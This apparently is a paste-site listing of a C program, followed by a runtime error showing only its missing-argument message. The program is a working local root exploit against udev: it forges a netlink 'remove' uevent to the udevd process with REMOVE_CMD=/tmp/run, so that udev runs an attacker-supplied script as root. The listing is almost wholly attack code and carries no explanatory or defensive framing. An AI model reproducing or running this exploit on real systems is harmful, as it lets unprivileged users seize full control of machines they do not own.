fork(3) download
  1. #include <stdio.h>
  2. #include <string.h>
  3. #include <stdlib.h>
  4. #include <unistd.h>
  5. #include <sys/types.h>
  6. #include <sys/stat.h>
  7. #include <sys/socket.h>
  8. #include <linux/types.h>
  9. #include <linux/netlink.h>
  10.  
  11. #ifndef NETLINK_KOBJECT_UEVENT
  12. #define NETLINK_KOBJECT_UEVENT 15
  13. #endif
  14.  
  15. int
  16. main(int argc, char **argv)
  17. {
  18. int sock;
  19. char *mp, *err;
  20. char message[4096];
  21. struct stat st;
  22. struct msghdr msg;
  23. struct iovec iovector;
  24. struct sockaddr_nl address;
  25.  
  26. if (argc < 2) {
  27. err = "Pass the udevd netlink PID as an argument";
  28. printf("[-] Error: %s\n", err);
  29. exit(1);
  30. }
  31.  
  32. if ((stat("/etc/udev/rules.d/95-udev-late.rules", &st) == -1) &&
  33. (stat("/lib/udev/rules.d/95-udev-late.rules", &st) == -1)) {
  34. err = "Required 95-udev-late.rules not found";
  35. printf("[-] Error: %s\n", err);
  36. exit(1);
  37. }
  38.  
  39. if (stat("/tmp/run", &st) == -1) {
  40. err = "/tmp/run does not exist, please create it";
  41. printf("[-] Error: %s\n", err);
  42. exit(1);
  43. }
  44. system("chmod +x /tmp/run");
  45.  
  46. memset(&address, 0, sizeof(address));
  47. address.nl_family = AF_NETLINK;
  48. address.nl_pid = atoi(argv[1]);
  49. address.nl_groups = 0;
  50.  
  51. msg.msg_name = (void*)&address;
  52. msg.msg_namelen = sizeof(address);
  53. msg.msg_iov = &iovector;
  54. msg.msg_iovlen = 1;
  55.  
  56. sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
  57. bind(sock, (struct sockaddr *) &address, sizeof(address));
  58.  
  59. mp = message;
  60. mp += sprintf(mp, "remove@/d") + 1;
  61. mp += sprintf(mp, "SUBSYSTEM=block") + 1;
  62. mp += sprintf(mp, "DEVPATH=/dev/foo") + 1;
  63. mp += sprintf(mp, "TIMEOUT=10") + 1;
  64. mp += sprintf(mp, "ACTION=remove") +1;
  65. mp += sprintf(mp, "REMOVE_CMD=/tmp/run") +1;
  66.  
  67. iovector.iov_base = (void*)message;
  68. iovector.iov_len = (int)(mp-message);
  69.  
  70. sendmsg(sock, &msg, 0);
  71.  
  72. close(sock);
  73.  
  74. return 0;
  75. }
Runtime error #stdin #stdout 0s 2292KB
stdin
Standard input is empty
stdout
[-] Error: Pass the udevd netlink PID as an argument